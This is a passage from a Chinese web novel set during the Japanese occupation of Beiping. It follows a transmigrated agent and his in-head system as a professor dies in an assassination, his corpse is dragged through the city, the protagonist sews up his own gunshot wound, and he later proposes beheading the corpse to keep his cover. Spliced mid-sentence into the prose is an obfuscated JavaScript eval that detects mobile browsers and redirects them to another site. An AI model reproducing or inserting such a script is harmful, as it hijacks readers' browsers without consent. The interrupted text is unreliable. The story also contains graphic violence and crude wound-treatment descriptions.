可这是赤裸裸的现实,并不是拍电影,没有所谓的奇迹出现。 那名检查的东瀛士兵一下子就摸到了陈尽忠身上藏着东西。 他立马警惕了起来,直接拿枪指着陈尽忠,“你衣服里面装着什么东西?!快点拿出来!!” 陈尽忠咧着嘴突然笑了,一瞬间左右双手各掏出来了一把枪,立马就将眼前的那名东瀛士兵给爆头了,“让你占我学生的便宜!” 突来的枪响惹得周围的百姓瞬间又慌乱了起来,可那些东瀛士兵也不是吃素的,立马举枪向着陈尽忠射击。 方槿的表情宛如天崩地裂,一抹极致的痛苦瞬间从四肢百骸蔓延开来,她嘶哑着嗓音,“陈老师……” “怎么办……陈老师……” 这个宛如父亲一般始终温柔着的长辈,带着他们走在反抗道路上的领路人,就这样将活的希望留给了他们,自己却成为了那个被东瀛人用来发泄怒火的靶子。 乐倾川抓着她的胳膊,虽然声音哽咽,却也还算镇定,“我们快些走,不能让陈老师白白牺牲。” 周崇的胸膛剧烈起伏着,泪水一瞬间全部涌了出来,他慌乱的擦干眼泪,不让别人发现,扭头就拉着身边的同志们往安全的区域跑去。 他们,绝对,绝对要好好的活下去。 不能辜负陈老师的牺牲。 “砰——” “砰——” 一枪又一枪,一下又一下的打进了陈尽忠的身体里,转眼间,他就变成了一个血人。 “来啊!狗娘养的东瀛人!来啊!” “老子今天算是赚到了!能杀一个杀一个!” “我这条贱命,换你们的军事大将。” “不亏!” 陈尽忠重重的倒在了地上,数十发子弹射进他的身体里,无数的鲜血涌出,他仿佛变成了一个人形喷泉。 他倒在那里,努力的瞪大双眼,看着自己的学生们远远离去的背影,忍不住笑了。 孩子们,往前走,别回头…… 10. 第 10 章 “砰——砰——砰——” 接二连三的枪响不间断的响起,子弹一枚又一枚的被射进陈尽忠在身体里,他躺在地上,血流如注,整个人几乎被子弹射成了一个筛子。 可即便这些东瀛士兵再如何发泄怒火,他们恭候了多时的军事大将渡边信长,也终究还是死在了火车站。 “好样的,真是好样的!”平川大佐阴沉着一张脸,扭曲的表情显得有些狰狞,“这些该死的夏国人!” 他们都已经做好了万全的准备,甚着调动了大量的士兵围堵在火车站的周围,就是为了保护渡边信长的安全。 可结果到头来终究还是竹篮打水一场空。 而且甚至就连参与刺杀的那些人都没有抓全,只逮住了这么一个老家伙。 这仿佛是一记重重的耳光扇在了平川大佐的脸上,仿佛还又不满意的,把他的脸皮扒下来,扔在地上又重重的踩了几脚。 平川大佐周身弥漫着低气压,冻得周围的空气都好似凝结了。 松井中佐迟疑了半晌,才小心翼翼的开了口,“大佐,我怀疑我们这里有内奸。” 否则根本无法解释,渡边信长明明是第一次来到北平,而且之前也没有任何的照片流传出来,那些夏国人又怎么会知道他的长相? 再加上渡边线长到达的时间和地点是绝密,就连这些被派到火车站巡逻的东映士兵们都不知道究竟为何要来,夏国人又是如何得知这项情报的? 就好像他们的周围时刻有一双眼睛在盯着一样,将他们所有的事情都看的明明白白,清清楚楚。 “回去!”平川大佐冷着脸说道,“给我好好的查!” 要是让他发现究竟是哪个人吃里爬外,他一定要把那个人抓出来挫骨扬灰! 可出乎平川大佐意料之外的是,等到回到情报中心,一遍一遍的查找后,却始终查询不到究竟是什么人泄露了秘密。 当然,这是后话了。 松井中佐看着血流如注,早已经死的不能再死的陈尽忠,几乎快要咬碎了满口的牙,“这个该死的夏国人,我认得他!” “他是北平大学的校长,陈尽忠!” “平川君,夏国人有句俗语叫做蛇鼠一窝,”松井中佐看着陈尽忠的尸体气急败坏的说道,“陈尽忠作为北平大学的校长,带头参与反抗行动,甚至还刺杀渡边将军,我合理怀疑北平大学的学生和老师们一大半都是反抗党!” “必须要给这些该死的夏国人一些颜色瞧瞧,否则他们就会没完没了!” 平川大佐也认为松井中佐说的很有道理,现在大部分的夏国人还全部都是麻木的,混吃等死,一了百了,甚至是骨子里面都没有什么反抗意识。 这是源于他们几千年来的封建君主制度。 可是,伴随着新的思想逐渐流传进夏国,那些读了书识了字的学生们,逐渐意识到了国人的软弱之处,开始进行反抗斗争。 必须要把他们这种思想萌芽给彻底的掐灭掉。 平川大佐眯了眯眼睛,扭头看向松井中佐,“松井君可有什么好办法?” 松井中佐笑了笑,神情深沉,浓黑的眼眸里面夹杂着对于生命的漠然,“不是有傅君吗?” “他曾经可是北平大学最受学生欢迎的老师,想必,由他出面,势必会震慑到那些学生们。” 平川大佐瞬间心领神会,哈哈大笑着拍了拍松井中佐的肩膀,“还是松井君有想法啊。” 说完这话,他的面容瞬间沉了下来,低头看了看躺在地上的陈尽忠的尸体,“来人,找根麻绳来。” 在平川大佐的吩咐下,几名东瀛士兵用粗壮的麻绳将陈尽忠的尸体绑起来,栓在了一辆汽车的后面。 平川大佐和松井中佐坐上汽车,司机很快便开着车子往前疾驰了起来。 而被绑在车后面的陈尽忠的尸体,则是被他们一路拖行。 为了能够彻底的震慑住这些夏国人,平川大佐没有选择最近的一条回去的道路,而是专门让司机绕了一条远路,力求让半个北平城的人都能够看到陈尽忠的尸体的惨状。 而且在拖行的过程当中,还时不时的有东瀛的士兵拿着喇叭在喊,“这就是刺杀我们东瀛军事大将的下场!” “我们东瀛人是讲道理的,但是如果有人试图破坏两国之间的友好交流,我们也绝对不会心慈手软!” “希望你们每个人都能够引以为戒,如果知道有哪些人是反抗军的,我们欢迎大家踊跃举报!” 街道上面虽然可以行车,可路面也是非常凹凸不平的,各种石子,玻璃碴,甚至还有树枝等等,在汽车飞速向前的时候,路面上的这些东西不停的摩擦着陈尽忠的尸体。 很快的,他身上早就被子弹打得破破烂烂的衣服就几乎变成了破布条,再也遮挡不住他浑身的伤口。 一个又一个的血洞是那样的触目惊心,却又在拖拽当中被扒下大片大片的皮肤,只留下满目的鲜血淋漓。 汽车飞速的往前走着,一条长长的血痕歪歪扭扭的弥漫在路上,似乎是整个空气中都染上了一股浓烈的血腥味,让人忍不住想要作呕。 满地的血渍狰狞又恐怖,因为陈尽忠是被用趴着的姿势拴在汽车后面的,在连续的摩擦之下,陈尽忠脸和膝盖全部被磨损的血肉模糊,甚至能够看到里面森白的骨头。 —— 这一边,沈听肆背着温承松七拐八拐的回到了他们的根据地,确定身后并没有人跟上来,沈听肆这才将温承松放下,然后从里面反锁上了门。 或许是因为连续的逃跑,沈听肆脸色白的有些不正常,额头上面虚汗直冒,嘴唇都有些干裂了。 他微垂着眼眸没有让温承松发现他的异常,哑着嗓子说了句,“你先坐这休息一会,我去烧点热水。” 温承松烟瘾的劲儿已经差不多快要过去了,只不过浑身还是没力气,走两步腿就软,所以他就听话的坐在了原地,脸上露出了一抹憨憨的笑容来,“麻烦沈先生了。” 沈听肆来到屋子后面,给灶膛里面添了些柴火,灌了满满一锅的水放在上面烧着,这才走到了那张小小的木凳子上面坐下。 他轻轻抬手将外衣脱了下来,垂眸看向自己隐隐发胀的腹部,那里白色里衣上涌现出了血渍,点点炸开,宛若是一朵朵盛开的腊梅。 虽然被9999屏蔽了痛觉,但是其他的感官还是存在着的,沈听肆在中弹的第一时间就已经意识到了,只不过那个时候情况危机,他们还没有脱离危险,所以沈听肆便装作了什么都没有发生一样。 9999惊呆了,【宿主!你什么时候受的伤?!】 为什么它根本没发现? 沈听肆歪着头轻轻笑了笑,微弯的眉眼中带着一丝温和,【小伤而已,不碍事。】 【小伤?!这都流血了还小伤!】9999顿时又焦急又生气。 它虽然一直都无比的庆幸自己绑定了一个能力出众的宿主,只是第一次做任务,就拿到了最高的S等级。 可这个宿主做起任务来实在是有些太过于不管不顾了。 明明对方看起来对于每个生命都很重视,即便是身份很低微的人,他也竭尽可能的去相救。 可一到了自己的身上,就好似变成了一个漠视生命的无情之人。 它真的害怕沈听肆在任务还没有完成之前,就把自己的命给玩儿完了。 【流点血有什么好大惊小怪的?】 沈听肆的脸上依旧带着淡淡的笑容,仿佛腹部被贯穿了一个洞的人,根本不是他一样。 在沈听肆和温承松刚刚坐上那辆汽车的时候,那些追逐的东瀛士兵们基本上也都赶了过来。 他们人多势众,手里的武器又个个不凡,即便沈听肆的动作已经足够敏捷,提前做出反应来躲避。 可若是在周围几乎是无死角的全部都是攻击,避无可避的情况下,就算沈听肆熟练上个世界所学到的武学招式,也没有办法完好无损的逃脱出来。 于是就有一颗子弹洞穿了汽车的玻璃,随后又打在了他的腹部。 沈听肆十分庆幸那辆汽车的材质不凡,否则,他身上可就不仅仅是只有一个伤口这么简单了。 9999说不过,只能在一旁干着急,【可咱们也没有药啊,这么严重的伤,根本不可能让它自己恢复的。】 而且现在外面可以说是全面戒严,就连路过的一只狗恐怕都不会放过搜查。 一旦被发现沈听肆受了伤,就算是平川大佐因为道具的缘故对沈听肆信任有加,也绝对不可能轻而易举的放过他。 在9999头脑风暴思索着究竟该如何逃脱追查,给沈听肆找到一些可以治伤的药物的时候。 沈听肆已经将自己的上衣全部给脱下来了。 或许是因为长期受大烟的影响,这具身体很瘦,皮肤也透着一股不正常的白,甚至都能够隐隐看到苍白皮肤下面一根根青色的血管。 但好歹这具身体的主人原本也并不是一个柔弱书生,身上依稀还能够看出几分肌肉的存在。 不似健身达人那般的肌理分明,带着些许的肌肉线条,隐隐约约透露出六块腹肌。 但此时左腹处的地方,却有着一个差不多两根手指大小的血洞。 子弹对于肉/体/凡/胎的伤害格外的严重,鲜血不断地往外涌着,那个伤口的边缘好似被烧焦了一样,带着一些碳化的黑。 流动的鲜血侵蚀在碳化的皮/肉上,导致那伤口隐隐有了扩大的迹象。 沈听肆拿了根干净的布条按住了伤口,血流的速度缓慢了一些,可还是在不断的往外涌,不过片刻的时间,那根布条就已经被鲜血给染透了。 他的身体紧绷着,就连唇色都已经瞧不见了,整张脸惨白得像是砌墙用的石灰一样。 倘若继续这么下去,说不定会因为失血过多而导致休克。 就在沈听肆在思索着要如何止血的时候,他的背后突然传来了一声惊呼。 却原来是温承松。 他休息了一会儿,感觉自己的体力恢复的差不多了,虽然行动起来还是有些吃力,可刚才沈听肆背着他跑了那么久,他实在是不好意思再继续麻烦沈听肆。 所以就想着过来看看,有没有什么需要自己帮忙的。 可却没想到竟然看到了这样的一幕! 沈听肆下意识的抬手将放在一旁的外套拿了起来,正准备穿上的时候,却又有些迟疑了。 他原本是不太想再次和主角团这么快就有交集的,可仔细一思考,若是他现在这副受伤的样子落到了主角团的眼中,到时候他的这个马甲“沈先生”死掉的时候,应该会给主角团带来更多的“动力”吧。 而且,在缺少药品,很多同志都无辜丧命的情况下,至少主角团学会了这个办法,可以减少一些不必要的伤亡。 沈听肆松开了抓着衣服的手,扭过头,面色如常的看向温承松,“怎么了?” “沈先生,你还好吗?” “你怎么没穿衣……” 一个“服”字硬生生憋到了嘴边,温承松一张小脸几乎透明,“沈先生,你受伤了!” 沈听肆嘴角抿起,抬头朝着温承松露出了一抹浅笑,但那笑容中却带着淡淡的疏离,“不碍事。” 温承松的眼睫却剧烈地颤动了几下,一时之间感觉胸口闷闷的,有种不可言说的苦涩味道在胸腔里面蔓延,难受的紧。 “是因为救我才受的伤……” 温承松无比自责,他刚才就应该强硬的把手枪抢过来,让沈听肆先通过关卡才对。 这样的话他就不会受伤了。 “都怪我……”温承松心底产生了一丝顿顿的悔意,他嘴唇抿了抿,目光落在对面沈听肆苍白的面容上,“沈先生,你痛不痛?” 肯定是痛的吧,脸都白成了这个样子。 可为了不让自己担心,沈先生却从始至终都没有发出一声痛呼,甚至连处理伤口都躲避着自己。 他…… 他可真该死。 沈听肆脸上露出一抹很平淡的神情,“小伤而已,我能处理,若是没有别的事情,你可以先出去一下吗?” “沈先生。”温承松站在原地,没有动。 他微微抬眸,那双黑幽幽的眼眸里面清润分明,里面夹杂着一丝淡淡的祈求之色,“您让我看着您处理伤口,可以吗?” 不过是二十多岁的少年人而已,靠着满腔的热血和对未来的期许走到了现在。 但他终究也只不过是笨拙的往前探寻。 没有人知道这条道路的尽头究竟是不是光明,也没有人知道他们所有的付出和牺牲究竟值不值得。 但此时,温承松的眼前出现了一个年长的沈先生。 即便温承松和他只不过是匆匆见了一面,相处的时间加在一起也不到一个小时,可对方展现出来的那份从容不迫,温和强大,却让他下意识的想要依偎。 少年人的内心总是柔软的,面对宛若救命恩人一样的沈先生,他只希望他能够平安。 最起码在他们能够看得见的地方,他是安全的。 沈听肆已经想到了要如何处理伤口,可这个方法对于这些尚未稚嫩的温承松而言,似乎是有些太过于残忍了。 他迟疑了一瞬,“你们确定要看吗?” 温承松不假思索,“当然。” 不看到沈听肆处理好伤口,他是不会安心的。 沈听肆似是有些无奈的叹了一口气,“那好吧,只希望一会儿不会吓到你。” 温承松信誓旦旦,“什么样的大场面我没见过,只不过是处理伤口而已,小意思啦。” 说着这话,他还煞有其事的点了点头,“我也给许多受了伤的同志们处理过伤势的,没有什么可怕的,况且我又不晕血。” 但当沈听肆拿着工具再次出现在他面前的时候,温承松顿时有些不由自主的沉默了起来。 因为沈听肆的手里面没有任何的药品,有的只是一把锋利的匕首,一根用来缝补的针,和一些不知道从哪里拆下来的尼龙线。 温承松大睁着眼眸,满脸的不可置信,“这东西能够用来处理伤口吗?” 虽然他知道治疗枪伤势必要先把打进了身体里的子弹给取出来,可在没有麻药的情况下,仅仅用一把匕首硬生生的把子弹剜出来,而且还是自己动手,这是一个人能做到的事情吗? 温承松震惊间隙,沈听肆已经用煮开的沸水将那匕首,那根针和尼龙线都烫了一遍,进行了消毒。 一边操作着,他还一边和温承松解释,“这一步骤主要是为了消毒,防止细菌沾染到伤口,造成更严重的感染。” 温承松有些听不懂,但还是很乖巧的将这话记了下来。 但下一刻,沈听肆的行为直接让他头皮发麻了。 只见沈听肆面无表情地用匕首划开了本就鲜血淋漓的伤口,将那个只有两指宽的小洞扩大了许多,随后用匕首戳到伤口里面去,强行将扎在血肉里面的子弹给取了出来。 然后沈听肆又将尼龙线穿到了那根针上,然后就那样扯着自己腹/部的皮肉,用那根尖锐的针尖给刺了进去,随后又穿过伤口另一端,将那个血洞给缝在了一块。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536855|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温承松的思绪顿时一片空白,只觉得脑子好似被什么东西给堵上了一般,阵阵发闷,只剩下胸腔里的那颗心脏,孤独而又强健的跳动着。 这样残酷的手段,似乎只有东瀛人抓到夏国人的卧底的时候才会使用。 他从来都不知道这样的方法,竟然还可以用来治疗伤口。 沈先生以前究竟经历了些什么?! 温承松感觉自己的呼吸都停止了一瞬,眼前的这一幕,实在是有些太过于刺激他的大脑,让他都有些不忍直视了。 他下意识的呢喃着,“是不是很痛?” 可说完他就有些后悔,怎么可能不痛呢? 硬生生的将被子弹洞穿了的皮肉扯在一起,又用一根线缝合起来,没有止痛药剂,就生缝。 只是看上一眼,温承松都感觉自己的小腹处在隐隐作痛。 温承松不忍再看,直接用手捂住了眼睛,可即便如此,不争气的眼泪还是从他的手指缝里面涌了出来。 他无意识的用袖子抹了抹眼泪,睁眼的间隙,看到对面沈听肆平静的眼神,他最终还是努力将胸口那股难受的情绪给压了下去。 温承松低下头,不敢再去看,只是闷闷的说了句,“沈先生,你可以不必强颜欢笑的。” 他其实更想说的是这里没有外人,就算沈先生痛到哭出来也没有人会嘲笑他,他只会心疼。 可转念一想,温承松终究还是放弃了这句话。 那样强大温柔的沈先生,又怎么会在他面前露出这样脆弱的一面? 沈听肆冲他笑了笑,只是眼里没有什么温度,“真的不疼。” 就是看上去血腥暴力了一些,但实际上他真的没有什么感觉啊! 毕竟从他一开始穿越到这个世界,9999就已经屏蔽了他的痛觉了。 他现在除了因为失血过多,感觉有些头晕以外,没有什么其他不舒服的。 但似乎,他的行为吓到了对面的温承松。 将最后一针缝起来,沈听肆用匕首割断了尼龙线。 虽然之前并没有做过什么针线活,但沈听肆的手法很好,伤口缝的很漂亮,每一根线之间的间距都是一样的大小,看起来仿佛是一个精致的艺术品一样。 如果这不是在一个人/体上面的话。 “你看,”沈听肆将针线收起来,指着自己那已经不再继续流血的腹部,故作轻松的开口,“刚才还不断有鲜血涌出来呢,现在不是已经止血成功了吗?” “不要太担心了,它自己会长好的。” 温承松擦干净了眼泪,强行挤出一抹笑容来,“嗯!我不难过。” 沈先生已经够难受的了,他不能再表现出一副脆弱的样子,让受了伤的沈先生还为他担心,他不能那样不懂事。 缓和了一下情绪,温承松低垂着眼眸看不清楚神色,但他说出来的话,却恰好踩中了沈听肆心中的想法,“沈先生的这个方法,我是不是可以交给其他的同志们去用?” 沈听肆一副孺子可教的表情,“自然是可以,但是如果遇到大面积的伤口,缝针也没有办法处理的时候,你们可以考虑用炮烙之法。” “炮烙之法……”温承松呢喃了一下这个方法的名字,下意识的身体抖动了一番,“怎么这个办法光是听起来就有些渗人呢?” “确实是有些骇人听闻,”沈听肆将缝合好的伤口简单的包扎了一下,随后穿上上衣,细细的解释着,“炮烙之法在最开始其实是一种刑罚。” “就是用烧红的铁片,按压在伤口处,当把那一片的血/肉皮肤都给烧焦了以后,就可以止住出血了……” 光是听着文字的叙述,温承松都感觉自己的后背就已经被冷汗给浸透了。 他不敢想象在没有止痛药剂的情况下,若是当真走投无路要用这个办法,那受伤的同志究竟该要承受怎样的痛苦啊! 可仔细一想,若是这样真的能够保住一条命,也不是不能够试一试。 但这个方法真的好残忍…… 讲完了如何处理伤口,沈听肆之前烧的水也凉的没有那么烫了,沈听肆倒了两杯,将其中一杯递给温承松,“喝点水,缓一缓,这一路跑过来也挺累的。” 温承松在接过水杯的时候,手指不由自主的和沈听肆的手指触碰在了一起,刹那之间,他感觉好似触电了一般。 他双手紧紧的握着水杯,眼睛一眨不眨的盯着沈听肆的侧脸,似乎要将他的样貌印到自己的心底去。 太像了,真的太像了。 在一开始接触到沈听肆的时候,他就察觉到对方身上总隐隐透露出一股让他熟悉的感觉来。 他思索了许久,却始终未曾探寻到这股熟悉之感究竟来自哪里。 可此时,沈听肆娓娓讲述的时候,温承松却猛然间意识到了他究竟为何会感到熟悉。 他感觉自己的身体仿佛在这一瞬间被一股强大的电流给击中,浑身上下的每一个细胞都在震颤着。 当年他刚刚考入北平大学,在新生的入学典礼上,听着他的老师傅青隐讲述他们的未来憧憬之时,就是这样的感觉。 温承松的目光落在面前那张格外陌生的脸上,一寸一寸细致的打量着他的眉眼,目光悠远,仿佛是在透过沈听肆看着什么人一样。 可他们之间隔着遥远的距离,即便沈听肆的面容无比的清晰,他也始终触碰不到。 仿佛有一层朦胧的雾气将他们给隔离开来,温承松心中产生了一股再也抓不住的无力感。 这一边,沈听肆说完了想说的,要让男主角对他印象深刻的目的也已经达到,而且他也缓的差不多了,有了些许的力气。 沈听肆站起身来,将手里的杯子放在一旁,缓缓开口,“好了,我出来的也挺久了,要是再不回去,可能会引起东瀛人的注意。” 离开之前,沈听肆还絮絮叨叨的嘱咐温承松,“你好好在这休息,不要轻举妄动,等陈老师他们回来再说。” “我……”温承松张了张嘴,却一时之间不知道该问些什么,他只能强行将心底那种怪异的感觉压下去,努力挤出一抹笑容来,不让沈听肆担心,“好,我知道的,沈先生也注意安全。” —— 从小巷子七拐八拐的出来,沈听肆拦了一辆黄包车,远离了男主角,沈听肆缓缓叹了一口气,整个人身心都松懈了下来。 这具身子还是太弱了一些,不过是在温承松面前装了一下无所谓,就几乎已经耗尽了气力。 9999都有些无力吐槽了,【你倒是看看你究竟失了多少血啊!你身体里一半儿的血都流掉了,换个人这会儿恐怕都已经严重休克晕过去了,还能清醒着你就谢天谢地吧。】 沈听肆略带诧异的轻笑了一声,【统子,最近你胆子见长啊?】 都开始数落起他来了。 9999气鼓鼓的转到一边,拿着屁股对准了沈听肆,一副不想再和他说话的样子。 沈听肆也没生气,窝在黄包车上闭上眼睛开始休息。 因为大部分的东瀛士兵都被派出去搜捕刺杀渡边信长的成员了,所以租界里面并没有多少人。 沈听肆在厕所卸下了伪装,换了一身衣服,用力的揉了揉自己的脸,让其变得看起来红润有血色一些,这才转身走向自己的办公室。 可刚刚来到走廊的尽头,就看到平川大佐和松井中佐带着几名东瀛的士兵等在了那里。 见到沈听肆回来,平川大佐扯着嘴角扬起一抹浅浅的笑,说话的语调好似饱含着某种深意一样,“傅君,我可等你好半天了,你这是去哪里了?” 11. 第 11 章 平川大佐笑意盈盈的,看到沈听肆的时候就仿佛看到了一个他最亲近的友人一样,态度温和极了。 9999心里一毛,【宿主,他是不是怀疑你了?】 虽然沈听肆用了最快的速度从根据地赶了回来,可去厕所换装,恢复原本的状态,也还花费了一些时间。 不知道平川大佐等人在这里已经等了多久了。 如果他们刚来的话,或许还可以圆回去,可如果他们在这里等了有一段时间,那么沈听肆的处境就会变得格外的危险。 【没事,还能解决。】 沈听肆在心底应了9999的话,不动声色地打量着为首的平川大佐和松井中佐。 平川大佐素来是个笑面虎,什么时候都看起来一副温和有礼的样子,但却指不定心里面有什么阴暗的想法。 从他的脸上瞧不出任何的异常。 松井中佐脾气火爆,像个炸药桶一样一点就炸,稍微一遇到不顺心的事情,就会怒火从生。 此时的他虽然有些不耐烦,可却也并没有到要爆发的地步。 那么就只能说明,他们来到这里的时间并不长。 沈听肆越过两人推开了办公室的门,丝毫没有因为刚才平川大佐的质问而显得慌张。 他伸出左手,做出邀请的姿势,态度宛若平常,“二位有事,不妨进来坐下说。” 松井中佐侧头看了一眼平川大佐,见对方并没有要为难沈听肆的样子,于是便也跟着走了进来。 暖壶里的水是沈听肆离开之前烧的,现在还是温热的,沈听肆倒了两杯茶,端了过来。 将茶水放下,他坐在了对面的沙发上,这才露出一丝恰到其分的疑惑表情,“这是发生什么事了吗?” 松井中佐皮笑肉不笑的看了一眼沈听肆,端起茶杯,猛猛灌了一大口,意味深长的说道,“傅君难道一点都不知道?” 见沈听肆轻笑着摇头,他“砰”的一声将茶杯砸在了桌子上,“外面这么大的动静,你……” 松井中佐夹杂着怒火的话语没说完,却突然平川大佐抬手按住了他的手背,松井中佐无奈,只能选择了闭嘴。 “松井君,我和你说过很多次了,遇到任何事情都不要着急。” 松井中佐水杯里的茶水洒出来了很多,弄的桌子上面有些狼藉,平川大佐拿着纸巾慢条斯理地将水渍一点一点的擦了干净,随后状似感叹的说了句, “夏国人有句俗话说的非常好,叫做‘欲速则不达’,松井君,你的修炼还不到家啊。” “平川君教训的是。”松井中佐知道自己平常做事总是容易冲动,可他性子就是这样,始终没有办法做出什么改变。 因此面对平川大佐的说教,他也只能乖巧的答应下来。 一直见对面的两个人在讨论,沈听肆终于找到了机会插话,“看样子是发生什么我不知道的事情了吗?” 平川大佐微微掀起眼帘,目光紧盯着沈听肆的面部,试图从他的微表情,上面探查出一些信息来,“傅君可知,那些夏国的反抗党们在火车站刺杀了我们东营的军事大将?” “竟有这种事?!”沈听肆瞳孔微张,嘴巴张大,一副震惊到极点的表情。 火车站距离租界有相当一段距离,听不到枪声和轰乱的声音也是很正常的事情,因此沈听肆震惊过后又略显遗憾地说了句,“这还真是……” 叹了口气,沈听肆仿佛意识到了什么一样,猛然间抬起了头来,“那出了这样的事情,平川君你……” “难得傅君担心我了,”平川大佐露出一抹苦涩到极致的笑来,“在我的统领下,接二连三出了这样的事情,我难辞其咎。” “那……”沈听肆双手紧紧的搅在一起,神情忐忑不安,似是担心平川大佐的未来,又似是忧虑自己即将的处境,“那……那……” 他嘴唇蠕动了好一会儿,却始终没有说出一句完整的话。 “没什么的,”平川大佐好像早已经看开了,即便心里还是有些不舒坦,面上却一副佯装镇定的样子,“大不了就是再换一个指挥官。” 沈听肆面露不舍,正要开口说话,却突然好像想到了什么样的,猛地拍了一把桌子,像刚才想说的话给咽了回去,重新组织了一下语言,“刺杀的人抓到了吗?” 平川大佐摇了摇头,“只抓到了其中一个。” 沈听肆瞬间给出了一个办法,“既然如此,那我们可以用这个人将他的其他同伙给调出来,这些参加反抗军的夏国人,最是注重同袍之间的情谊了。” 平川大佐非常遗憾的开口,“可他已经死了,当场被射杀。” “我们还将他拴在汽车后面,绕着北平走了大半圈,只可惜啊……”平川大佐说这话的时候,一直死死的盯着沈听肆的脸看,“即便是这样,他的同伙们也并没有要救他的打算。” 沈听肆的指尖微微颤了颤,面上却没有丝毫的表现,他无比镇定的看向平川大佐,“所以平川君是希望我有一个切实可行的方法吗?” 平川大佐哈哈一笑,起身从对面的沙发上走到身边坐下,单手搂着他的肩膀,和沈听肆一副哥俩好的架势,“这不是有人怀疑你么。” “毕竟渡边君的车次座号全部都是机密,所以……” 平川大佐侧过身子,保持视线和沈听肆平齐,他的嘴角微微向上,弯出一道好看的弧度,可那双漆黑的眸子里却没有丝毫的笑意,“傅君应该是能够理解的吧?” 沈听肆先是一怔,随即仰头大笑了起来,“这是自然的,能够为平川君,对大东亚的繁荣和谐发展,傅某义不容辞。” “哦?”平川大佐瞬间来了兴致,“看来傅君是已经有了一个好想法了?” 沈听肆没有直面回答平川大佐的话,反而是询问了另外一个问题,“不知可否方便告知那名被射杀了的反抗党是什么人呢?” “他啊……”平川大佐低着头,好似在思索,“还是傅君的老熟人呢。” 沈听肆心中瞬间有了不好的猜想。 果不其然,平川大佐缓缓吐露出几个熟悉的字眼,“北平大学的校长,陈尽忠。” 革命势必会有牺牲,比起原剧情里面去参加行动的老师学生们死伤大半的情况,只牺牲了一个陈尽忠,似乎已经是非常不错的结局了。 可一想到那个总是温和的,把所有的老师学生都互进自己的羽翼里面,像是一个老母鸡一样的陈老师,沈听肆的心脏还是有些钝钝的疼。 不明显,可却也不容忽略。 这还是沈听肆头一次有这种感觉。 在心中默默的对陈尽忠说了句抱歉,沈听肆强行挤出一抹笑意,“我想……我应该是有办法了。” 平川大佐兴致勃勃,“快说来听听看。” “想必平川君也知道,夏国人最是尊师重道,”沈听肆娓娓阐述,“那不妨,就把陈尽忠头颅切下来,挂在北平大学的校门口吧。” 话音落下的时候,整个办公室都陷入了一股死一样的寂静。 沉默了一会,平川大佐忽然站起身来拍手鼓掌,“果然不愧是傅君,平常人可想不出这么一个法子。” “既然这办法是傅君想出来的,那么……”平川大佐语调中含着鼓励说道,“就由傅君来亲自实施吧?” 沈听肆也站起身,不卑不亢的应了下来,“是。” 等人走后,沈听肆将自己整个人都给丢进了沙发里。 失血过多,连番劳累,再加上身子骨又被大烟侵蚀的厉害。 能够在平川大佐面前强撑着不露馅,几乎是已经用尽了所有的力气了。 如今屋子里面没有了别人,沈听肆的情绪才终于放松了一些。 【宿主,平川大佐这是信了你的话了吧,】9999见平川大佐好像并没有特别怀疑自家宿主的样子,有些高兴的蹦蹦跳跳的,【宿主的演技可真棒,这样下去,如果是后面到了哪个世界遇到娱乐圈的话,宿主都不需要特意去进行演技学习了呢。】 半阖着眼睛休息的沈听肆听了这话,将眼睛睁开了来,视线淡淡地瞥了一眼平川大佐留在桌子上的没有动过一口的茶杯,语气淡然的说了句,【他从来都没有相信过。】 先是承载着整个东营人希望的活体研究基地被毁,紧接着又是军事大将渡边信长被刺杀。 而且这两件事情里面或多或少都有着自己的影子存在。 再加上自己又是租界里面唯一一个,可以接触到这些的夏国人。 会被怀疑实再正常不过的事情了。 而沈听肆现在需要做的,用一件足够骇人听闻,让人头皮发麻的事情,来弥补这份岌岌可危的信任。 —— 到了下班的时间点,沈听肆像往常一样的步行出了办公楼,然后拦下了一辆黄包车去了赌坊。 就在黄包车拐进一条巷子,消失不见的时候,松井中佐和三名东营士兵从一旁的小巷里面探出了头来。 一名东营士兵绘声绘色地描述着自己的所见所闻,“松井君,他没有做什么别的事情,就是一直在办公室里面翻译文件,而且现在你也看到了,他又去赌坊里赌博了。” 松井中佐发出一声冷笑,“亏我还以为这个人是个什么有心机有手段的呢,也不过是一个吃喝嫖赌样样俱全的大烟鬼罢了。” 他是真的不理解,就这么一个看起来都贪生怕死,怂不可耐的夏国人,平川大佐竟然还专门让他小心提防。 简直是多此一举。 “行了,走吧。”松井中佐甩了甩袖子,有些烦躁的转身离去。 盯了大半天,结果什么也没盯出来,真是浪费时间。 【我去!】9999惊呆了,【宿主,他们竟然真的有派人在盯着你哎!】 原本9999还在疑惑为啥沈听肆要去赌坊里赌博,而不是去根据地看看有没有其他的同志们牺牲,结果沈听肆说平川大佐肯定安排了人盯着他。 原本9999还不信的,毕竟平川大佐从始至终都是面带笑意,看起来和善极了,丝毫找不到半分对于沈听肆怀疑的表现。 可最终结果就是它被啪啪打脸。 【罢了,罢了,】9999叹了一口气,【人类的想法太复杂了,我弄不明白。】 沈听肆一直在赌坊里面玩了好几个小时,输输赢赢的,当身上的大洋和他来的时候所带的大洋持平的时候,沈听肆离开了赌坊。 路上有好多小乞丐,沈听肆唤了一个看起来八九岁的小男孩,“帮我做件事情,你一个大洋跑腿怎么样?” 小乞丐瞬间喜笑颜开,他讨一个月的饭都不一定能有一个大洋,只是跑个腿而已,这简直就是天上掉馅饼。 “愿意的,愿意的,”小乞丐忙不迭的答应,唯恐自己反应慢了半分,眼前的大爷就不让他干这件事了,“不知大爷要让我做什么?” 沈听肆从口袋里面掏出来一支钢笔,“你帮我把这支笔送到和平路86号,就说是一位姓沈的先生给的。” 北平大学的学生们白日里在北平大学上课,晚上还是要回自己家住的。 只不过因为温承松和方槿并不是北平人,加上两个人的家庭条件也不富裕,所以就一起住在了乐倾川的家里。 将笔送去乐倾川那里,那么也就相当于是主角团的人都能够看到了。 